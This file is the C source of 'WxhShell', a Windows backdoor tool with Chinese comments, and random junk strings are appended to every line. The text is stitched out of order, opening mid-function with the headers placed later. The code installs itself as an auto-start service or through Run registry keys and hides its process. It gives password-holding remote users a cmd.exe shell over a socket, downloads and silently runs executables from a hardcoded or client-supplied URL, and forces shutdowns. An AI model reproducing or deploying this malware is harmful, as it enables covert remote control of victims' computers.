  case 'd': { h(}#s1Fzq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); > 2/j  
    if(Boot(SHUTDOWN)) H(- -hG5}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u81F^72U  
    else { {yT<22Fl  
    closesocket(wsh); 8KigGhY'ms  
    ExitThread(0); >wb*kyO7(#  
    } )v+&l9D  
    break; ;,TT!vea  
    } RT'5i$q[  
  // 获取shell P| ?nx"c  
  case 's': { qFDy)4H)  
    CmdShell(wsh); #')] ~Xa  
    closesocket(wsh); [:e>FXV  
    ExitThread(0); y6sY?uu  
    break; Yz0HB EA  
  } w""u]b%:r  
  // 退出 Ktzn)7-  
  case 'x': { 7KRNTnd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5oYeUy>N  
    CloseIt(wsh); X2| Z!  
    break; Bs`='w%7  
    } oz:J.<j24Z  
  // 离开 _}']h^@ Z  
  case 'q': { Gv8Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /i Xl] <  
    closesocket(wsh); >.C$2bW<L  
    WSACleanup(); r z@%rOWV  
    exit(1); v [x 5@$  
    break; #3?"#),q  
        } TQ/#  
  } _uJ6Vy  
  } R*LPwJuv  
Ebi~gGo  
  // 提示信息 o!y<:CGL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #&S<{75A  
} B}p.fE  
  } "].TKF#yg  
j9RpYz  
  return; z=jzr=lP  
} n],cs  
l<sWM$ez  
// shell模块句柄 \B/( H)Cd*  
int CmdShell(SOCKET sock) p"cY/2w:j  
{ WwSyw?T  
STARTUPINFO si; @.`HvS  
ZeroMemory(&si,sizeof(si)); (lit^v,9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :t+Lu H g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j.c4  
PROCESS_INFORMATION ProcessInfo; 95D(0qv  
char cmdline[]="cmd"; cx)x="c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FuBUg _h  
  return 0; X/Fip 0i  
} !a'{gw  
<_bGV  
// 自身启动模式 T z+Y_  
int StartFromService(void) RhjU^,%  
{ 4HXNu,T'  
typedef struct V+*1?5w  
{ <sGioMr  
  DWORD ExitStatus; W$" >\A0%  
  DWORD PebBaseAddress; f%YD+Dt_V  
  DWORD AffinityMask; )GC[xo4bg  
  DWORD BasePriority; yaX%<KBa\  
  ULONG UniqueProcessId; c/3]M>+M  
  ULONG InheritedFromUniqueProcessId; '+S!>Lqb  
}   PROCESS_BASIC_INFORMATION; H{d/%}7[v  
}T=\hM  
PROCNTQSIP NtQueryInformationProcess; )7rMevF(xJ  
[vCZD8"Y8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h&{>4{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G&0JK ,Y  
m%OX< T!  
  HANDLE             hProcess; jin?;v  
  PROCESS_BASIC_INFORMATION pbi; dFpP_U  
+G!;:o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >LR+dShG  
  if(NULL == hInst ) return 0; Z:MU5(Te  
EmcwX4|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KH1/B_.\V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _P]k6z+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GwlAEhP  
TUd=qnu  
  if (!NtQueryInformationProcess) return 0; Bk1gE((  
RK=YFE 0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W3i X;-Z  
  if(!hProcess) return 0; &$NVEmW-J  
((_v>{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .aR$ou,7  
gCS%J40r  
  CloseHandle(hProcess); u:4?$%rB  
hLLg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,b8B)VZ?  
if(hProcess==NULL) return 0; 5 %aT  
BhJ~jV"  
HMODULE hMod; ?x &"EhA>  
char procName[255]; utwqP~  
unsigned long cbNeeded; "7a;Ap q*  
axi%5:I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r`/tb^  
=u`^QE  
  CloseHandle(hProcess); 4;d9bd)A  
niN$!k+Jr  
if(strstr(procName,"services")) return 1; // 以服务启动 yq>3IS4O  
+hS}msu'  
  return 0; // 注册表启动 M0%):P?x  
} v0}.!u>Ww  
tpi63<N  
// 主模块 #fYz367>  
int StartWxhshell(LPSTR lpCmdLine) Lw.N3!e[  
{ wBXgzd%L  
  SOCKET wsl; Ye_)~,{,p  
BOOL val=TRUE; aKC3T-  
  int port=0; z|SLH<~  
  struct sockaddr_in door; &sQtS  
rm4j8~Ef  
  if(wscfg.ws_autoins) Install(); 2FS,B\d  
@[S\ FjI  
port=atoi(lpCmdLine); `7|v  
Piz/vH6M}  
if(port<=0) port=wscfg.ws_port; rf8`|9h"7  
HtIM8z#/  
  WSADATA data; s?5(E}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7@Qz  
j=d@Ih*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?ei7jM",  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ydu=J g5u7  
  door.sin_family = AF_INET; W%.Kr-[?`o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ' 7>V4\"  
  door.sin_port = htons(port); =2{^qvP  
D{/GjFO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nQvv'%v0   
closesocket(wsl); %c(':vI#  
return 1; hun/H4f|  
} l23#"gGb  
K$\]\qG6  
  if(listen(wsl,2) == INVALID_SOCKET) { VHB5  
closesocket(wsl); A=|&N%lP'  
return 1; o% !a  
} c0jC84*v  
  Wxhshell(wsl); =8fp4# ]7  
  WSACleanup(); dM7-,9Vc  
Vo"\nj  
return 0; \ey3i((L  
t*^Q`V wQ  
} +B%ZB9  
nYMdYt04sl  
// 以NT服务方式启动 eEQ 4L\d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3m?3I2k  
{ t8 #&bU X  
DWORD   status = 0; X'WbS  
  DWORD   specificError = 0xfffffff; -2mm 5E~N  
q!9SANTx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R y0n_J:7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zrG&p Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qg9 N?e{z  
  serviceStatus.dwWin32ExitCode     = 0; }0|,*BkI m  
  serviceStatus.dwServiceSpecificExitCode = 0; KyNv)=x4c  
  serviceStatus.dwCheckPoint       = 0; \ M8;CN  
  serviceStatus.dwWaitHint       = 0; }ruBbeQ  
x2[A(O=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FU~ Ip  
  if (hServiceStatusHandle==0) return; izow=}  
>ZuWsA0q  
status = GetLastError(); N%:QaCZKw  
  if (status!=NO_ERROR) 4r5?C;g  
{ zN {'@B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gz-}nCSi  
    serviceStatus.dwCheckPoint       = 0; Y+sycdq  
    serviceStatus.dwWaitHint       = 0; c63DuHA*C  
    serviceStatus.dwWin32ExitCode     = status; ;2-,Xzz8  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q'&oSPXSDd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p0UR5A>p  
    return; Edc<  8-  
  }  J O`S  
Lt.a@\J'_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NI \jGR.  
  serviceStatus.dwCheckPoint       = 0; 6fQNF22E  
  serviceStatus.dwWaitHint       = 0; @]t}bF]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;zIAh[z  
} u)M dFz  
B3]q*ERAo  
// 处理NT服务事件,比如:启动、停止 NB;8 e>8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) noC ]&4b  
{ E=3<F_3W  
switch(fdwControl) )VID ;l;4  
{ B_anO{3$4  
case SERVICE_CONTROL_STOP: &%}6&PW i  
  serviceStatus.dwWin32ExitCode = 0; iZB?5|*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #)2'I`_E  
  serviceStatus.dwCheckPoint   = 0; 3VbMW,_&"  
  serviceStatus.dwWaitHint     = 0; gN Xg  
  { b'4{l[3~nl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Tl5,CAz  
  } ?k]^?7GN  
  return; pM= @  
case SERVICE_CONTROL_PAUSE: <V#9a83JP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ds,NNN<HW  
  break; K 38e,O  
case SERVICE_CONTROL_CONTINUE: )'KkO$^&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \m~ ?mg"#  
  break; 61HU_!A8S  
case SERVICE_CONTROL_INTERROGATE: iF?4G^  
  break; \L-o>O  
}; eYMp@Cx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 Ji>dr n  
} !v;N@C3C  
O{uc  h  
// 标准应用程序主函数 !jGe_xB}~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,&rlt+wE  
{ ;"$Wfy  
0qqk:h  
// 获取操作系统版本 5fMVjd  
OsIsNt=GetOsVer(); 4R0'$Ld4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F$y3oX  
$DeHo"mg7m  
  // 从命令行安装 8e:J{EG~  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3,=97Si=  
F~2bCy[Z  
  // 下载执行文件 ) gbns'Z<  
if(wscfg.ws_downexe) { $n\{6Rwb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1%68Pnqk  
  WinExec(wscfg.ws_filenam,SW_HIDE); ABw:SQ6=Q  
}  eme7y  
nj$TdwZbK  
if(!OsIsNt) { xr}3vJ7  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?zGx]?1P1<  
HideProc(); dE~]%fUFy-  
StartWxhshell(lpCmdLine); mZQW>A]iE  
} ,c<&)6FU]  
else #$2 {l,>  
  if(StartFromService()) n]^zIe^6  
  // 以服务方式启动 ul$k xc=N  
  StartServiceCtrlDispatcher(DispatchTable); e` 9d&"  
else 5gYv CW&~  
  // 普通方式启动 hkB/ OJ  
  StartWxhshell(lpCmdLine); $5N%!  
],#Xa.r  
return 0; Y S/x;  
} MwbXZb{#"=  
<ZO"0oz%  
Vea2 oQq  
5]pvHc  
=========================================== #@FMH*?xX6  
m:&go2Y  
h|qTMwPr  
R8|H*5T?+  
M#%l}  
OSreS5bg  
" -5vg"|ia,  
AX($LIy9P  
#include <stdio.h> g2 7 iE  
#include <string.h> {\zTE1X9  
#include <windows.h> KUJCkwQ  
#include <winsock2.h> mq 0d ea  
#include <winsvc.h> )E9[=4+*C$  
#include <urlmon.h> s^f7w  
K#Ia19au5  
#pragma comment (lib, "Ws2_32.lib") yp}J+/PX}  
#pragma comment (lib, "urlmon.lib") QS7<7+  
wW &q)WOi  
#define MAX_USER   100 // 最大客户端连接数 #uTNf78X  
#define BUF_SOCK   200 // sock buffer _L?MYkD  
#define KEY_BUFF   255 // 输入 buffer (D2G.R\pr  
S$#"bK/p^  
#define REBOOT     0   // 重启 t5O '7x  
#define SHUTDOWN   1   // 关机 eXKpum~  
slUnB6@Q  
#define DEF_PORT   5000 // 监听端口 6z`l}<q  
^m0nInH  
#define REG_LEN     16   // 注册表键长度 \f~m6j$D_  
#define SVC_LEN     80   // NT服务名长度 `CpfQP&^  
Sc b'  
// 从dll定义API uuHg=8(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EzII!0 F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0?V{u`*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m\zCHX#n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xER-TT #S  
5@QJ+@j|  
// wxhshell配置信息 F*u"LTH  
struct WSCFG { p^.qwP\P  
  int ws_port;         // 监听端口 we:P_\6  
  char ws_passstr[REG_LEN]; // 口令 L%S(z)xX3  
  int ws_autoins;       // 安装标记, 1=yes 0=no -gn!8G1  
  char ws_regname[REG_LEN]; // 注册表键名 1t+uMhy*y  
  char ws_svcname[REG_LEN]; // 服务名 p1F{ v^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y{>T['"@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l,fwF ua  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &{4KymB:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >]{{5oOQ>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r:{;HM+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %f)%FN . S  
J:Mn 5hdK=  
}; >c`r&W.t  
h2jrO9  
// default Wxhshell configuration M!i["($_  
struct WSCFG wscfg={DEF_PORT, &/m0N\n?  
    "xuhuanlingzhe", af@R\"N9c  
    1, ZR]p7{8B  
    "Wxhshell", W3+;1S$k  
    "Wxhshell", %Ev)Hk  
            "WxhShell Service", g)!d03Qoy  
    "Wrsky Windows CmdShell Service", \jmT#Gt`9  
    "Please Input Your Password: ", f;D(X/"f]  
  1, @\U;?N~k  
  "http://www.wrsky.com/wxhshell.exe", vzX%x ul  
  "Wxhshell.exe" &s#OiF8  
    }; mUan(iJ  
*""iXi[  
// 消息定义模块 hKVb#|$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; = }ELu@\V[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s4uZ>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -6W$@,K  
char *msg_ws_ext="\n\rExit."; P(o GNKAS  
char *msg_ws_end="\n\rQuit."; 4V<.:.k  
char *msg_ws_boot="\n\rReboot..."; 9y'To JZ6  
char *msg_ws_poff="\n\rShutdown..."; _|r/* (hh  
char *msg_ws_down="\n\rSave to "; |zbM$37 ?k  
*j~ObE_y  
char *msg_ws_err="\n\rErr!"; ECsb?n7e  
char *msg_ws_ok="\n\rOK!"; B#]:1:Qn  
we0haK  
char ExeFile[MAX_PATH]; ke<l@w O  
int nUser = 0; y_``-F&Z  
HANDLE handles[MAX_USER]; @Os0A  
int OsIsNt; I*z|_}$  
lb{X6_.  
SERVICE_STATUS       serviceStatus; !c"EgP+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rF$ S  
Aflf]G1  
// 函数声明 7aS%;EU  
int Install(void); '2qbIYanh  
int Uninstall(void); r}:D g fn  
int DownloadFile(char *sURL, SOCKET wsh); %0 p9\I  
int Boot(int flag); j ];#=+  
void HideProc(void); EG8%X"p  
int GetOsVer(void); ZU$QwI8  
int Wxhshell(SOCKET wsl); ep6V2R  
void TalkWithClient(void *cs); #/"Tb ^c9  
int CmdShell(SOCKET sock); u g_c}Nv=Y  
int StartFromService(void); =}" P;4:  
int StartWxhshell(LPSTR lpCmdLine); nt%fJ k  
/2Z7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a|5<L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O]XgA0]  
T |&u?  
// 数据结构和表定义 PYwGGB-  
SERVICE_TABLE_ENTRY DispatchTable[] = 2Akh/pb  
{ ,Yn$X  
{wscfg.ws_svcname, NTServiceMain}, >Qqxn*O  
{NULL, NULL} !'C8sNs  
}; n5 <B*  
]k$:sX  
// 自我安装 qgs:9V xF  
int Install(void) $azK M,<q  
{ EK Ac>g  
  char svExeFile[MAX_PATH]; \'r;1W  
  HKEY key; %+((F +[  
  strcpy(svExeFile,ExeFile); 2K^xN]]rG  
B qo#cnlG  
// 如果是win9x系统,修改注册表设为自启动 G%junS'zt  
if(!OsIsNt) { as73/J6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l1.eAs5U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \qDY0hIv t  
  RegCloseKey(key); Mr*CJgy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SBaTbY0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dUBf.2 ry  
  RegCloseKey(key); cj4o[l  
  return 0; _aU :[v*!  
    } hltUf5m'b  
  } BI<(]`FP;s  
} J vl-=~  
else { }R~C<3u\2  
g* -}9~  
// 如果是NT以上系统,安装为系统服务 L'$({  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zbr1e5?  
if (schSCManager!=0) =Qn8Y`U  
{ iOk`_LG#  
  SC_HANDLE schService = CreateService 4QE")Ge  
  ( O) )j  
  schSCManager,  T4J WZ  
  wscfg.ws_svcname, N3V4Mpf  
  wscfg.ws_svcdisp, ]M 2n%9  
  SERVICE_ALL_ACCESS, #<@_mbQ@|K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?y@;=x!'  
  SERVICE_AUTO_START, |RBL5,t^  
  SERVICE_ERROR_NORMAL, a# Uk:O!  
  svExeFile, C,8@V`  
  NULL, g2vt(Gf;  
  NULL, mC$ te  
  NULL, ?es9j]  
  NULL, /VFQbJ+`  
  NULL |}: D_TX  
  ); [fJxbr"  
  if (schService!=0) + jN)$Y3Ya  
  { Gx|/ Jq  
  CloseServiceHandle(schService); S] 4RGWn  
  CloseServiceHandle(schSCManager); r!^VCA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?'>[n m  
  strcat(svExeFile,wscfg.ws_svcname); <J]N E|:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a ~k*Gd(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l xP!WP  
  RegCloseKey(key); {M23a _t\  
  return 0; 'N&s$XB,  
    } F)50 6  
  } SbobXTbG  
  CloseServiceHandle(schSCManager); Wt=%.Y( x  
} SwO8d;e  
} J=H8^4M  
()fYhk|W  
return 1;  ?QcS$i  
} IFXnGDG$  
'h> l_A  
// 自我卸载 i7?OZh*f  
int Uninstall(void) 4)9Pgp :  
{ { !t6& A  
  HKEY key; OYOczb]  
BO 3z$c1yU  
if(!OsIsNt) { ^C8f(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W,%qL6qV  
  RegDeleteValue(key,wscfg.ws_regname); zB"y^g  
  RegCloseKey(key); 3P*"$fH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rY"EW"y  
  RegDeleteValue(key,wscfg.ws_regname); 'l1cuAP!+  
  RegCloseKey(key); InG<B,/W?  
  return 0; ^Uldyv/  
  } K&&YxX~ 3  
} ]2z Gb5s"  
} ?o d*"M  
else { 'fIG$tr9X  
=/N0^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =Q8$O 2TW  
if (schSCManager!=0) YY$O"!."  
{ hw&~OJeo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tY?evsVgz  
  if (schService!=0) 6}_J;g\|  
  { Bn Nu/02.=  
  if(DeleteService(schService)!=0) { ]Wc 2$  
  CloseServiceHandle(schService); #~6X9,x=  
  CloseServiceHandle(schSCManager); HmpV; <t3  
  return 0; (Jy > ,~O  
  } 6o GF6C  
  CloseServiceHandle(schService); *L5L.: Ze  
  } z"!=A}i  
  CloseServiceHandle(schSCManager); B 3eNvUFZg  
} L_AQS9a^D  
} y|%lw%cSe  
5dLb`G f  
return 1; lW@i,1  
} zh4m`}p  
t<qXXQ&5  
// 从指定url下载文件 CHM+@lD  
int DownloadFile(char *sURL, SOCKET wsh) GV SVNT}I  
{ Y;8.(0r/  
  HRESULT hr; BeM|1pe.  
char seps[]= "/"; !7uFH PK-  
char *token; h{Y#. j~aS  
char *file; I\VC2U  
char myURL[MAX_PATH]; T(bFn?  
char myFILE[MAX_PATH]; I=V]_Ik4 N  
RTYhgq  
strcpy(myURL,sURL); x;/%`gKn8  
  token=strtok(myURL,seps); r)Iq47Uiw  
  while(token!=NULL) {q BbzBG  
  { o(5 ( ]bJ  
    file=token; wEIAU  
  token=strtok(NULL,seps); 7A>glZ/x  
  } _+nlm5  
o n?8l?iQ  
GetCurrentDirectory(MAX_PATH,myFILE); b .v^:M  
strcat(myFILE, "\\"); 9,Ug  
strcat(myFILE, file); (2%z9W  
  send(wsh,myFILE,strlen(myFILE),0); 86f/R c  
send(wsh,"...",3,0); CA ,0Fe3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J_ `\}55n  
  if(hr==S_OK) B ? D|B  
return 0; t/:]\|]WB  
else 51x)fZQ  
return 1; Edav }z  
!CuLXuM  
} " ZFK-jn/  
MXuiQ;./  
// 系统电源模块 ESv&x6H  
int Boot(int flag) wz 5*?[4  
{ 0t}&32lL&  
  HANDLE hToken; 8Vqh1<  
  TOKEN_PRIVILEGES tkp; (B;rjpK  
V|bN<BYJ  
  if(OsIsNt) { SN|:{Am  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v"smmQZik  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #k<j`0kiq  
    tkp.PrivilegeCount = 1; ,(CIcDJ2U_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "4qv yVOE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6}e"$Ee}9  
if(flag==REBOOT) { m-!Uy$yM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @C6.~OiP  
  return 0; [?Q$b5j/M  
} +0WI;M4i  
else { s:#\U!>0`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /CN`U7:E  
  return 0; [P746b_\e  
} )k|_ CW~  
  } n6 a=(T  
  else { / L/hR4  
if(flag==REBOOT) { /0qLMlL$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B@2VI 1%  
  return 0; TwXqk>J  
} )F) (Hg  
else { yPza  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o@KK/f  
  return 0; QGQ> shIeZ  
} IXef}%1N?  
} {z/Y~rf  
'rQ>Z A_8  
return 1; ')>&:~  
} %2D9]L2Up  
=%V(n{7=  
// win9x进程隐藏模块 qA6;Q$  
void HideProc(void) ?ydqmj2[F  
{ m|w-}s,  
>HY( Ij<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -(]s!,  
  if ( hKernel != NULL ) rt[w yz8  
  { %Cz&7qf"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); na1*^S`[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I ;Sm<P7*  
    FreeLibrary(hKernel); ? @Y'_f  
  } <wZ2S3RNA  
[~<X|_L G  
return; U6@Hgi>  
} B#T4m]E/  
8vLaSZ="[  
// 获取操作系统版本 Yq?FiE0  
int GetOsVer(void) VgO:`bDF  
{ @H^Yf  
  OSVERSIONINFO winfo; <,!e*V*U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AsW!GdIN  
  GetVersionEx(&winfo); hc;8Vsa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RrGFGn{  
  return 1; MIJ^ n(-G  
  else x4C}AyR  
  return 0; IE|$mUabm  
} plRBfw>]N  
Z4 +6'  
// 客户端句柄模块 sV)) Z2sq  
int Wxhshell(SOCKET wsl) U\ Et  
{ xQ=sZv^M  
  SOCKET wsh; |99/?T-QW  
  struct sockaddr_in client; eZMDtB  
  DWORD myID; V6C*d:  
=x/Ap1  
  while(nUser<MAX_USER) O:Ixy?b;Z  
{ nM1F4G  
  int nSize=sizeof(client); =-e` OHA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pu=,L#+FN  
  if(wsh==INVALID_SOCKET) return 1; {m )$b  
5HZt5="+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .MzVc42<  
if(handles[nUser]==0) hv.$p5UY*  
  closesocket(wsh); \Y0o~JD  
else [%alnY  
  nUser++; '518S"T @  
  } axSJ:j8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  M[^  
ueyz@{On~  
  return 0; ]c.1&OB7o  
} 1yS [;  
W'BB FG  
// 关闭 socket .m&JRzzV  
void CloseIt(SOCKET wsh) ]{Ytf'bG  
{ d@a FW  
closesocket(wsh); O"$uw  
nUser--; y\Z$8'E5W  
ExitThread(0); 5*ip}wA  
} G>/Gw90E  
3$u 3ssOL  
// 客户端请求句柄 n\v;4ly^  
void TalkWithClient(void *cs) E*!  
{ p=7{  
QU]& q`GE  
  SOCKET wsh=(SOCKET)cs; fZqqU|tq  
  char pwd[SVC_LEN]; !y&uK&1  
  char cmd[KEY_BUFF]; ,dTRM  
char chr[1]; 3 ?1qI'5  
int i,j; (}W+W\.  
=z5'A|Wa=,  
  while (nUser < MAX_USER) { pO* $ '8L  
D`?=]Ysz(  
if(wscfg.ws_passstr) { J3F-Yl|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i|]Kw9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !\ IgTt,  
  //ZeroMemory(pwd,KEY_BUFF); &Hb;; Ic(  
      i=0; 7*9a`p3w  
  while(i<SVC_LEN) { lTe7n'y^^  
G234UjN%  
  // 设置超时 vdn`PS'#  
  fd_set FdRead; o=t@83Fh5  
  struct timeval TimeOut; Fgf5OHX  
  FD_ZERO(&FdRead); 9w^lRbn  
  FD_SET(wsh,&FdRead); 3C,G~)= x  
  TimeOut.tv_sec=8; -|ho 8alF  
  TimeOut.tv_usec=0; cmLGMlFT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .l| [e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .^aakM  
iYqZBLf{S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  kYls jM  
  pwd=chr[0]; 0pO{{F  
  if(chr[0]==0xd || chr[0]==0xa) { JnW G_|m)  
  pwd=0; 1S&GhJ<wJ  
  break; #H'j;=]:  
  } _2eRH@T  
  i++; 6zo'w Wc3  
    } *>lh2ssl L  
\~sc6ho  
  // 如果是非法用户,关闭 socket |[/<[@\''  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DChqcdx~~  
} |[)k5nUQ|  
7# ~v<M6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0rt@4"~~w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7$;#-l  
y$ L@!r/s  
while(1) { k<.$7Pl3U  
S}O>@ %  
  ZeroMemory(cmd,KEY_BUFF); [~3[Tu( C  
b`%3>  
      // 自动支持客户端 telnet标准   !cLdoX  
  j=0; Vs[A  
  while(j<KEY_BUFF) { ',7LVT7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eGwO!Lv}B  
  cmd[j]=chr[0]; Mnu8d:$  
  if(chr[0]==0xa || chr[0]==0xd) { r8.`W\SKX  
  cmd[j]=0; ($Cy-p  
  break; #%4XZ3j#j;  
  } "!V-@F$@N  
  j++; R`[jkJrc  
    } B]KR*  
{iGy@?d)zt  
  // 下载文件 ?Uq;>  
  if(strstr(cmd,"http://")) { Dq [ f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F@8G,$  
  if(DownloadFile(cmd,wsh)) N('=qp9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [>2iz  
  else s6q6)RD"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I_1(jaY  
  } jW,b"[  
  else { lOp7rW]$  
Oe)d|6=  
